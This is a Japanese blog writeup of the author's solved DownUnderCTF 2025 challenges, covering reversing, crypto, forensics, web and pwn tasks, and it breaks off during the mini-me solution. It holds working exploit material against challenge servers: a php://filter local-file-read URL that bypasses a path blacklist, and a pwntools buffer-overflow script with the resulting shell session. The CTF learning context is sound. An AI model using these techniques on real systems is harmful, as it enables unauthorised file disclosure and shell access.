以下の内容はhttps://yocchin.hatenablog.com/entry/2025/07/22/075425より取得しました。


DownUnderCTF 2025 Writeup

この大会は2025/7/18 18:30(JST)~2025/7/20 18:30(JST)に開催されました。
今回もチームで参戦。結果は1505点で1667チーム中303位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (beginner)

Discordに入り、#sponsorsチャネルのメッセージを見ると、フラグが書かれている画像があった。

DUCTF{E-d0g_th4nks_th3_sp0ns0rs_4_th3ir_supp0rt!}

zeus (beginner)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  int iVar1;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined7 local_70;
  undefined4 uStack_69;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined7 local_30;
  undefined4 uStack_29;
  char *local_18;
  char *local_10;
  
  local_10 = 
  "To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you wel come!"
  ;
  local_18 = "Maimaktes1337";
  local_58 = 0xc1f1027392a3409;
  local_50 = 0x11512515c6c561d;
  local_48 = 0x5a411e1c18043e08;
  local_40 = 0x3412090606125952;
  local_38 = 0x12535c546e170b15;
  local_30 = 0x3a110315320f0e;
  uStack_29 = 0x4e4a5a00;
  if (((param_1 == 3) && (iVar1 = strcmp(*(char **)(param_2 + 8),"-invocation"), iVar1 == 0)) &&
     (iVar1 = strcmp(*(char **)(param_2 + 0x10),local_10), iVar1 == 0)) {
    puts("Zeus responds to your invocation!");
    local_98 = local_58;
    local_90 = local_50;
    local_88 = local_48;
    local_80 = local_40;
    local_78 = local_38;
    local_70 = local_30;
    uStack_69 = uStack_29;
    xor(&local_98,local_18);
    printf("His reply: %s\n",&local_98);
    return 0;
  }
  puts("The northern winds are silent...");
  return 0;
}

local_18とlocal_58以降をXORする。

#!/usr/bin/env python3
key = b'Maimaktes1337'
enc = (0xc1f1027392a3409).to_bytes(8, 'little')
enc += (0x11512515c6c561d).to_bytes(8, 'little')
enc += (0x5a411e1c18043e08).to_bytes(8, 'little')
enc += (0x3412090606125952).to_bytes(8, 'little')
enc += (0x12535c546e170b15).to_bytes(8, 'little')
enc += (0x3a110315320f0e).to_bytes(7, 'little')
enc += (0x4e4a5a00).to_bytes(4, 'little')

flag = ''
for i, c in enumerate(enc):
    flag += chr(c ^ key[i % len(key)])
print(flag)
DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}

kick the bucket (beginner)

添付のs3_resource_policy.txtにアクセスできるUserAgentの形式が書いてある。このUserAgentを指定して、添付のs3_presigned_url.txtに書かれているURLにアクセスする。

$ curl "https://kickme-95f596ff5b61453187fbc1c9faa3052e.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXC42U7VJ7MRP6INU%2F20250715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250715T124755Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=6cefb6299d55fb9e2f97e8d34a64ad8243cdb833e7bdf92fc031d57e96818d9b" -A "aws-sdk-go"
DUCTF{youtube.com/watch?v=A20QQSZsv4E}
DUCTF{youtube.com/watch?v=A20QQSZsv4E}

philtered (beginner)

添付のindex.phpは次のようになっている。

<?php

class Config {
    public $path = 'information.txt';
    public $data_folder = 'data/';
}

class FileLoader {
    public $config;
    // idk if we would need to load files from other directories or nested directories, but better to keep it flexible if I change my mind later
    public $allow_unsafe = false;
    // These terms will be philtered out to prevent unsafe file access
    public $blacklist = ['php', 'filter', 'flag', '..', 'etc', '/', '\\'];
    
    public function __construct() {
        $this->config = new Config();
    }
    
    public function contains_blacklisted_term($value) {
        if (!$this->allow_unsafe) {
            foreach ($this->blacklist as $term) {
                if (stripos($value, $term) !== false) {
                    return true;    
                }
            }
        }
        return false;
    }

    public function assign_props($input) {
        foreach ($input as $key => $value) {
            if (is_array($value) && isset($this->$key)) {
                foreach ($value as $subKey => $subValue) {
                    if (property_exists($this->$key, $subKey)) {
                        if ($this->contains_blacklisted_term($subValue)) {
                            $subValue = 'philtered.txt'; // Default to a safe file if blacklisted term is found
                        }
                        $this->$key->$subKey = $subValue;
                    }
                }
            } else if (property_exists($this, $key)) {
                if ($this->contains_blacklisted_term($value)) {
                    $value = 'philtered.txt'; // Default to a safe file if blacklisted term is found
                }
                $this->$key = $value;
            }
        }
    }

    public function load() {
        return file_get_contents($this->config->data_folder . $this->config->path);
    }
}

// Such elegance
$loader = new FileLoader(); 
$loader->assign_props($_GET);

require_once __DIR__ . '/layout.php';

$content = <<<HTML
<nav style="margin-bottom:2em;">
    <a href="index.php">Home</a> |
    <a href="aboutus.php">About Us</a> |
    <a href="contact.php">Contact</a> |
    <a href="gallery.php">Gallery</a>
</nav>
<h2>Welcome to Philtered</h2>
HTML;

$content .= "<p>" . $loader->load() . "</p>";

$content .= "<h3>About Us</h3>";
$loader->config->path = 'aboutus.txt';
$content .= "<p>" . $loader->load() . "</p>";

$content .= "<h3>Our Values</h3>";
$loader->config->path = 'our-values.txt';
$content .= "<p>" . $loader->load() . "</p>";

$content .= <<<HTML
<h3>Contact</h3>
<ul>
    <li>Email: info</li>
    <li>Please don't talk to us, we don't like it</li>
</ul>
HTML;

render_layout('Philtered - Home', $content);
?>

このことからブラックリストをバイパスするには、GETパラメータで以下の指定をすればよいことがわかる。

allow_unsafe=1

また読みたいファイルは、以下で対応できる。

config[path]=<ファイル名>

さらにベースのパスは、以下で対応できる。

config[data_folder]=<ベースのパス>

このため、以下にアクセスすることで、flag.phpbase64エンコードして取得することができる。

https://web-philtered-0a2005e5b9bf.2025-us.ductf.net/index.php?allow_unsafe=1&config[data_folder]=&config[path]=php://filter/convert.base64-encode/resource=flag.php

この結果以下が表示された。

PD9waHAgJGZsYWcgPSAnRFVDVEZ7aDB3X2QwX3kwdV9sMWszX3kwdXJfcGgxbHRlcnM/fSc7ID8+

base64デコードする。

$ echo PD9waHAgJGZsYWcgPSAnRFVDVEZ7aDB3X2QwX3kwdV9sMWszX3kwdXJfcGgxbHRlcnM/fSc7ID8+ | base64 -d
<?php $flag = 'DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}'; ?>
DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}

corporate-cliche (beginner)

usernameの入力では、"admin"以外の任意の文字列を入力する。passwordの入力では、"🇦🇩🇲🇮🇳\x00"の後に11バイトを入力し、その後に"admin"を入力する。これによりBOFでusernameが上書きされ、"admin"になり、シェルが取れる。

#!/usr/bin/env python3
from pwn import *

p = remote('chal.2025.ductf.net', 30000)

username = 'hoge'
password = '🇦🇩🇲🇮🇳\x00' + 'A' * 11 + 'admin'

data = p.recvuntil(b': ').decode()
print(data + username)
p.sendline(username.encode())
data = p.recvuntil(b': ').decode()
print(data + password)
p.sendline(password.encode())
data = p.recvline().decode().rstrip()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to chal.2025.ductf.net on port 30000: Done
┌──────────────────────────────────────┐
│      Secure Email System v1.337      │
└──────────────────────────────────────┘

Enter your username: hoge
Enter your password: 🇦🇩🇲🇮🇳\x00AAAAAAAAAAAadmin
-> Password correct. Access granted.
[*] Switching to interactive mode
-> Admin login successful. Opening shell...
$ ls
flag.txt
get-flag
pwn
$ cat flag.txt
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}

our-lonely-dog (beginner)

e-dog@downunderctf.com宛てにメールしたら、以下のメッセージが返ってきた。

Hi,

E-dog gets quite pupset when they can't find their bone, especially when it's been a ruff day. Maybe we need to pull out a new one for them?

特にフラグは見当たらない。この返信メールのemlファイルを開き、ヘッダを見てみると、以下の箇所があった。

X-FLAG: DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}
DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}

Network Disk Forensics (beginner)

$ nc chal.2025.ductf.net 30016 | xxd
00000000: 4e42 444d 4147 4943 4948 4156 454f 5054  NBDMAGICIHAVEOPT

NBDサーバが動いていることがわかる。NBDサーバーに接続し、仮想ディスクをローカルでマウントする。

$ sudo modprobe nbd max_part=8
$ nbdinfo nbd://chal.2025.ductf.net:30016 --list
protocol: newstyle-fixed without TLS, using simple packets
export="root":
        export-size: 16777216 (16M)                                                                                                                                                                                
        uri: nbd://chal.2025.ductf.net:30016/root                                                                                                                                                                  
        is_rotational: false
        is_read_only: false
        can_block_status_payload: false
        can_cache: false                                                                                                                                                                                           
        can_df: false                                                                                                                                                                                              
        can_fast_zero: false                                                                                                                                                                                       
        can_flush: false                                                                                                                                                                                           
        can_fua: false                                                                                                                                                                                             
        can_multi_conn: false                                                                                                                                                                                      
        can_trim: false                                                                                                                                                                                            
        can_zero: false                                                                                                                                                                                            
        block_size_minimum: 1                                                                                                                                                                                      
        block_size_preferred: 4096 (4K)
        block_size_maximum: 33554432 (32M)
$ sudo qemu-nbd --connect=/dev/nbd0 nbd://chal.2025.ductf.net:30016/root
WARNING: Image format was not specified for 'nbd://chal.2025.ductf.net:30016/root' and probing guessed raw.
         Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted.
         Specify the 'raw' format explicitly to remove the restrictions.
$ sudo fdisk -l /dev/nbd0
Disk /dev/nbd0: 16 MiB, 16777216 bytes, 32768 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 131072 bytes
$ sudo mkdir -p /mnt/nbd
$ sudo mount /dev/nbd0 /mnt/nbd
$ ls -l /mnt/nbd
total 52
drwxr-xr-x 5 root root 4096 Jul 20 07:02 d16692d34
drwxr-xr-x 5 root root 4096 Jul 20 07:02 da4539858
drwxr-xr-x 5 root root 4096 Jul 20 07:02 dd9209ca4
-rwxr-xr-x 1 root root 2160 Jul 20 07:02 f089ed084.txt
-rwxr-xr-x 1 root root 2140 Jul 20 07:02 f20741fe6.txt
-rwxr-xr-x 1 root root 2184 Jul 20 07:02 f283f3a83.txt
-rwxr-xr-x 1 root root 2167 Jul 20 07:02 f58a9e677.jpg
-rwxr-xr-x 1 root root 2184 Jul 20 07:02 fa0145356.txt
-rwxr-xr-x 1 root root 2166 Jul 20 07:02 fa9ac52bd.txt
-rwxr-xr-x 1 root root 2174 Jul 20 07:02 fad6ad633.txt
-rwxr-xr-x 1 root root 2211 Jul 20 07:02 faecd8609.txt
-rwxr-xr-x 1 root root 2172 Jul 20 07:02 fc14b4c26.txt
lrwxr-xr-x 1 root root   43 Jun  8  1906 flag.jpg -> da4539858/d5b126eef/d77771a5c/f3d0fc132.jpg
drwx------ 2 root root 4096 Jul 20 07:02 lost+found
$ cp -p /mnt/nbd/flag.jpg .

ディスクに含まれていたflag.jpgにフラグが書かれていた。

DUCTF{now_you_know_how_to_use_nbd_4y742rr2}

hungry-hungry-caterpillar (beginner)

暗号処理の概要は以下の通り。

・flag: flag.txtの内容
・flag[1]は"U"であることをチェック
・flagにflagの長さの6倍の長さのランダム文字列を結合
・keystream: flagの長さのランダム文字列
・以下を出力
 ・flag[::1]とkeystreamのXORを16進数表記文字列にしたもの
 ・flag[::2]とkeystreamのXORを16進数表記文字列にしたもの
 ・flag[::3]とkeystreamのXORを16進数表記文字列にしたもの
 ・flag[::4]とkeystreamのXORを16進数表記文字列にしたもの
 ・flag[::5]とkeystreamのXORを16進数表記文字列にしたもの
 ・flag[::6]とkeystreamのXORを16進数表記文字列にしたもの
 ・flag[::7]とkeystreamのXORを16進数表記文字列にしたもの

先頭1バイトは変わらないので、"D"から始まることを考えれば、keystreamの1バイト目はわかる。また2バイト目が"U"であることから、keystreamの2バイト目はわかる。このkeystreamの2バイト目と上記の1番目~7番目で8バイト目まで割り出すことができる。これを繰り返すことができるが、途中で不明なものが出てくるので、その場合はその箇所は一端スキップする。
完全に復号できないが、英文から推測しながら復号する。

#!/usr/bin/env python3
ct = [
    'f3c9202e92ad822d2370f86fe79b4ad0ec27d69ddeb95fc77e6ba7dfa987054137632111ba2901747b831b118444286d280ab8ad2cc701d3a40706f6da7e079b4c53931f3949fdaec7c0a18d318704fd51610080ec553d57f21ae8506584efe46e8a16078b4f71f3d41eac2076bd4d8dd32d7ad93d682c6152b885a5db05061a17f0884a2ef037e09cdae260f5ca51e12b7e91f9a0134351e31ab7270f8a8b4f18986d93d277691905f84149c8f72eeb4c9fbab4281721a8dba241e8e99b5f3aef8a1fe5777bf03416e4c1b78cecfea79d76df95768110e556b4f1a9f8570aa48d2d6173110a4212114cdd1522483c0ee9b84696a796766feb29875899488533e2b5763287364709f279e41b7f32f408093cdf0abcf3344f96d35401215d32736beb5b4a2943c4ebe60e43dce10aafd5a3f61202bc10c4fb930a5dedc8e447280483d20e1c85db4469a6c69200613641a1c8794b6ef8d227cdfb009f68d37e7519c6e08dab661368b36d5acfb22c9b942b05703544ef8ba21651c2855592d62646ca1253fdcaaf0fa18c001e74934fc78dceefdc95987835cf2188eddac55c6856bba83fd2a0f75076584fa599abd737b71c041cd94eb6f481e08cec201d6764e49ae8f68a2b53dee888bdcaf25b6d149c6ac71c3fbeeba30ce06489adcf532abba9bd023cf8bed44c6d4a972fa9033d86',
    'f3df250eb1be98371946e47ff98f57ddec2ada99c6b465f7515ab5dea19a2e463769256ff5037d27d725c2d4a70daa249ef247b8a7346f04238a246817e649546c5b8e1f05cc153cafde3745fa154634d5abaa67bbfff0e191c6349917007866071e22809a719e8f72e9656fe2198605b3af66938553829b0065f1691d2565fdb789761f85b878158fc538d813cc3e4f3e90ec97a5bb93301918a556d0c45d00e9bd91285e660ea7087d6d38f229e31d4d9709d25a2a4d9a8565ae37c9b4881e75658ed1f00b71852219ddf3cdd4f10445dbd9cb9aa0daf1a3910820e727c0f4ff9f68c927ffc23f1b4d376f5825ff72e515314b83fee3a88f',
    'f3c81725baaf9f293642e479ec9559deec14d386f5a753e5244eee5e7ed74f7881250a52dd1293f4853fc70caf6cbf33353464c435e54b732cb0fd27672ebdb293755843f938371b7b5d3827c335ecca5162d6c28a4a9c6551a97ceeaa8cfe9ed07bbe6e78fe0f81994732b9ae2d2b3ad1c2318c294f6be1509a7f6cc052cfa47209929e79e196b42187b5d3d176572a0a949b3a65ec93c2ec7bba304f0f189a905679963b7a',
    'f3da06148ba2862a194afc45d69d5ff6ec2e95e56a6d4675e7a53eb026b8e308177419879d95b665538f9519c4d1d8b3f7c6565701fdfbcf43969cc645928f37cca525501616f353baa33295000799e224572600b6d3ca2c907546f549ef58b19d8fa501ae6ddf80aaef89a517e099cfc1a650138fb9f8580c12d5fc79',
    'f3e70b03a08982312a58fe7fd69032d37396818d3be288839c37b0ed2484c3072cc5370a3d979757977fbab0a2e316cdb718f530d70ec7ccc776f65ae7cf3787a6002eba077a6ecb7dcdf2a30c5440fc258662c192dd4deee868b48f59ec7c824b6794ea',
    'f3e80d13a4a293241943cf73a3c680975a01bd0b38684e604c86ac94296193fce8a2e5a5499a8fcfd7f3a47504996535205ab4c6eaaab76221c1302f151c529d0941d9beb89b313a8ed4f295f51806a75dbf43',
    'f3f41116bba29724215d9a8231dba19e53dc02eb488a30d7e15b3ae96ba7b1bbe82a2d1601d63b8413174b56c35d2df7959d4fe5cf5e19fde97b7f7c43f1df75e1c7fd1ff2b5ec'
]

ct = [bytes.fromhex(c) for c in ct]
all_flag_len = len(ct[0])
flag_len = all_flag_len // 7
flag = [''] * all_flag_len
flag[0] = 'D'
flag[1] = 'U'

# guess
flag[11] = 'u'
flag[13] = 'g'
flag[34] = 'a'
flag[37] = 'r'
flag[38] = 'p'
flag[41] = 'l'
flag[43] = 'r'
flag[69] = '}'
flag[67] = 'f'
flag[53] = 'l'
flag[58] = 'r'
flag[59] = 'y'
flag[61] = 'f'
flag[62] = 'o'
flag[47] = 'n'

for n in range(1, 8):
    for i in range(1, all_flag_len):
        if i * n < all_flag_len and flag[i * n] == '':
            continue
        if i >= len(ct[n - 1]):
            continue
        key = ct[n - 1][i] ^ ord(flag[i * n])
        for j in range(1, 8):
            if i * j < all_flag_len:
                p = ct[j - 1][i] ^ key
                flag[i * j] = chr(p)

for i in range(flag_len):
    found = False
    for j in range(1, 7):
        if flag[i + j * flag_len] != '':
            found = True
            break
    for k in range(1, 7):
        if k == j:
            continue
        flag[i + k * flag_len] = flag[i + j * flag_len]

flag = flag[:flag_len]
flag = ''.join(['*' if c == '' else c for c in flag])
print(flag)
DUCTF{the_hungry_little_p_smooth_caterpillar_won_an_allegory_for_life}

ecb-a-tron-9000 (beginner)

この入力画面が問題になっている。


入力文字と秘密文字を結合してAES ECBの暗号化を行っているようだ。2ブロック分あり、パディングはスペースで行われる。1文字ずつはみ出し、ブロック単位で比較することを繰り返す。

"DUCTF{"を一度削除して、1文字だけ入力すると、2ブロック目の暗号は以下のようになっている。

7eDO1sulAoTuNImM/PdNgQ

2~16文字目をスペースにして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"E"のときに一致した。

同様に1~2文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

SNgaro2LvmPJfPxKUR1rXw

そして3~16文字目をスペース、2文字目を"E"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"SE"のときに一致した。

以降同様に実行していく。

1~3文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

oTAwnV0+yXy8pHRZ2dbq0w

4~16文字目をスペース、2~3文字目を"SE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"ASE"のときに一致した。

1~4文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

JgYkRKBhwpGqhAUY0Ea88w

5~16文字目をスペース、2~4文字目を"ASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"EASE"のときに一致した。

1~5文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

oyXCOaPQiXDgTRO5cxveCg

6~16文字目をスペース、2~5文字目を"EASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"LEASE"のときに一致した。

1~6文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

I8LuNDWOZSS1+PR5ACmV3g

7~16文字目をスペース、2~6文字目を"LEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"PLEASE"のときに一致した。

1~7文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

6qEiHTyd9Qtyfpk9pxKJAQ

8~16文字目をスペース、2~7文字目を"PLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"BPLEASE"のときに一致した。

1~8文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

FZV3fy4mqspfWZ4Pp73iOg

9~16文字目をスペース、2~8文字目を"BPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"CBPLEASE"のときに一致した。

1~9文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

wM/n/6Ny3BS0MmkPvQVByA

10~16文字目をスペース、2~9文字目を"CBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"ECBPLEASE"のときに一致した。

1~10文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

D2/MaH2+jJun5wGEaJT37Q

11~16文字目をスペース、2~10文字目を"ECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"EECBPLEASE"のときに一致した。

1~11文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

paGvl2emZ9maxzCjK5dMWw

12~16文字目をスペース、2~11文字目を"EECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"SEECBPLEASE"のときに一致した。

1~12文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

OMrC0NiMPf/orWOOhG1MVQ

13~16文字目をスペース、2~12文字目を"SEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"USEECBPLEASE"のときに一致した。

1~13文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

CxpmcbGUmFYEBRWqJxilWw

14~16文字目をスペース、2~13文字目を"USEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"TUSEECBPLEASE"のときに一致した。

1~14文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

9g0TsALgguyz0QgMLeOxJA

15~16文字目をスペース、2~14文字目を"TUSEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"NTUSEECBPLEASE"のときに一致した。

1~15文字目だけ入力すると、2ブロック目の暗号は以下のようになっている。

TWmcY4RdKUqKexWi4MPTgQ

16文字目をスペース、2~15文字目を"NTUSEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"ONTUSEECBPLEASE"のときに一致した。

1~16文字目を入力すると、2ブロック目の暗号は以下のようになっている。

IWN9QY/5ELyMpZWEgi7eZw

2~16文字目を"ONTUSEECBPLEASE"にして、1文字目をA~Zのブルートフォースで、1ブロック目の暗号が上記になるものを探す。この結果"DONTUSEECBPLEASE"のときに一致した。

DUCTF{DONTUSEECBPLEASE}

rocky (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  undefined local_68 [32];
  undefined local_48 [16];
  char local_38 [32];
  undefined8 local_18;
  undefined8 local_10;
  
  local_18 = 0xd2f969f60c4d9270;
  local_10 = 0x1f35021256bdca3c;
  printf("Enter input: ");
  fgets(local_38,0x11,stdin);
  sVar2 = strcspn(local_38,"\n");
  local_38[sVar2] = '\0';
  md5String(local_38,local_48);
  iVar1 = memcmp(&local_18,local_48,0x10);
  if (iVar1 == 0) {
    puts("Hash matched!");
    reverse_string(local_38,local_68);
    decrypt_bytestring(local_38,local_68);
  }
  else {
    puts("Hash mismatch :(");
  }
  return 0;
}

local_18以降の値と入力文字列のmd5を比較している。

>>> bytes.fromhex('d2f969f60c4d9270')[::-1].hex()
'70924d0cf669f9d2'
>>> bytes.fromhex('1f35021256bdca3c')[::-1].hex()
'3ccabd561202351f'

以下のmd5をCrackStationでクラックする。

70924d0cf669f9d23ccabd561202351f

結果は以下の通り。

emergencycall911
$ ./rocky       
Enter input: emergencycall911
Hash matched!
DUCTF{In_the_land_of_cubicles_lined_in_gray_Where_the_clock_ticks_loud_by_the_light_of_day}
DUCTF{In_the_land_of_cubicles_lined_in_gray_Where_the_clock_ticks_loud_by_the_light_of_day}

mini-me (web)

/admin/flagに正しいAPI Keyを送信できれば、フラグが得られる。ただ、リークできそうなUIは見つからない。
リンクされている/static/js/main.min.jsを見てみると、コメントに以下のように書いてある。

//test map file -> test-main.min.js.map, remove in prod
$ curl https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map                              
{"version":3,"file":"main.min.js.map","sources":["main.js"],"sourcesContent":["function pingMailStatus() {\r\n  fetch(\"/api/mail/status\");\r\n}\r\n\r\nfunction fetchInboxPreview() {\r\n  fetch(\"/api/mail/inbox?limit=5\");\r\n}\r\n\r\npingMailStatus();\r\nfetchInboxPreview();\r\n\r\ndocument.getElementById(\"start-btn\")?.addEventListener(\"click\", () => {\r\n  const audio = document.getElementById(\"balletAudio\");\r\n  audio.play();\r\n\r\n  document.getElementById(\"start-btn\").style.display = \"none\";\r\n  document.getElementById(\"audio-warning\").style.display = \"none\";\r\n\r\n  const dancer = document.getElementById(\"dancer\");\r\n  const dancerImg = document.getElementById(\"dancer-img\"); // Get the image element\r\n\r\n  dancer.style.display = \"block\";\r\n  dancerImg.style.display = \"block\"; // Show the image\r\n\r\n  let angle = 0;\r\n  const radius = 100;\r\n  const centerX = window.innerWidth / 2;\r\n  const centerY = window.innerHeight / 2;\r\n\r\n  function animate() {\r\n    angle += 0.05;\r\n    const x = centerX + radius * Math.cos(angle);\r\n    const y = centerY + radius * Math.sin(angle);\r\n    dancer.style.left = x + \"px\";\r\n    dancer.style.top = y + \"px\";\r\n\r\n    dancerImg.style.left = x + \"px\"; // Sync image movement\r\n    dancerImg.style.top = y + \"px\";\r\n\r\n    requestAnimationFrame(animate);\r\n  }\r\n  animate();\r\n});\r\n\r\nfunction qyrbkc() { \r\n    const xtqzp = [\"85\"], vmsdj = [\"87\"], rlfka = [\"77\"], wfthn = [\"67\"], zdqo = [\"40\"], yclur = [\"82\"],\r\n          bpxmg = [\"82\"], hkfav = [\"70\"], oqzdu = [\"78\"], nwtjb = [\"39\"], sgfyk = [\"95\"], utxzr = [\"89\"],\r\n          jvmqa = [\"67\"], dpwls = [\"73\"], xaogc = [\"34\"], eqhvt = [\"68\"], mfzoj = [\"68\"], lbknc = [\"92\"],\r\n          zpeds = [\"84\"], cvnuy = [\"57\"], ktwfa = [\"70\"], xdglo = [\"87\"], fjyhr = [\"95\"], vtuze = [\"77\"], awphs = [\"75\"];\r\n        const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], \r\n                    bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], \r\n                    jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], \r\n                    zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];\r\n\r\n    const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>\r\n        String.fromCharCode(\r\n            Number(pjgrx) ^ (fkhzu + 1) ^ 0 \r\n        )\r\n    ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, \"\"); \r\n    console.log(\"Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)\");\r\n}\r\n\r\n"],"names":["pingMailStatus","fetch","fetchInboxPreview","qyrbkc","map","pjgrx","fkhzu","String","fromCharCode","Number","reduce","qdmfo","lxzhs","console","log","document","getElementById","addEventListener","play","style","display","dancer","dancerImg","angle","centerX","window","innerWidth","centerY","innerHeight","animate","x","Math","cos","y","sin","left","top","requestAnimationFrame"],"mappings":"AAAA,SAASA,iBACPC,MAAM,kBAAkB,CAC1B,CAEA,SAASC,oBACPD,MAAM,yBAAyB,CACjC,CAsCA,SAASE,SAKc,CAJJ,KAAgB,KAAgB,KAAgB,KAAe,KAAgB,KAC/E,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,MAMzFC,IAAI,CAACC,EAAOC,IAC9BC,OAAOC,aACHC,OAAOJ,CAAK,EAAKC,EAAQ,EAAK,CAClC,CACJ,EAAEI,OAAO,CAACC,EAAOC,IAAUD,EAAQC,EAAO,EAAE,EAC5CC,QAAQC,IAAI,mFAAmF,CACnG,CApDAd,eAAe,EACfE,kBAAkB,EAElBa,SAASC,eAAe,WAAW,GAAGC,iBAAiB,QAAS,KAChDF,SAASC,eAAe,aAAa,EAC7CE,KAAK,EAEXH,SAASC,eAAe,WAAW,EAAEG,MAAMC,QAAU,OACrDL,SAASC,eAAe,eAAe,EAAEG,MAAMC,QAAU,OAEzD,IAAMC,EAASN,SAASC,eAAe,QAAQ,EACzCM,EAAYP,SAASC,eAAe,YAAY,EAKlDO,GAHJF,EAAOF,MAAMC,QAAU,QACvBE,EAAUH,MAAMC,QAAU,QAEd,GAENI,EAAUC,OAAOC,WAAa,EAC9BC,EAAUF,OAAOG,YAAc,EAcrCC,CAZA,SAASA,IACPN,GAAS,IACT,IAAMO,EAAIN,EANG,IAMgBO,KAAKC,IAAIT,CAAK,EACrCU,EAAIN,EAPG,IAOgBI,KAAKG,IAAIX,CAAK,EAC3CF,EAAOF,MAAMgB,KAAOL,EAAI,KACxBT,EAAOF,MAAMiB,IAAMH,EAAI,KAEvBX,EAAUH,MAAMgB,KAAOL,EAAI,KAC3BR,EAAUH,MAAMiB,IAAMH,EAAI,KAE1BI,sBAAsBR,CAAO,CAC/B,EACQ,CACV,CAAC"}

このJSONデータの中のsourcesContentのJavaScript部分を整形する。すると、以下の関係ありそうな関数がある。

function qyrbkc() { 
    const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"],
          bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"],
          jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"],
          zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"];
        const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], 
                    bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], 
                    jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], 
                    zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];

    const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>
        String.fromCharCode(
            Number(pjgrx) ^ (fkhzu + 1) ^ 0 
        )
    ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, ""); 
    console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)");
}

このコードからAPI Keyを算出する。

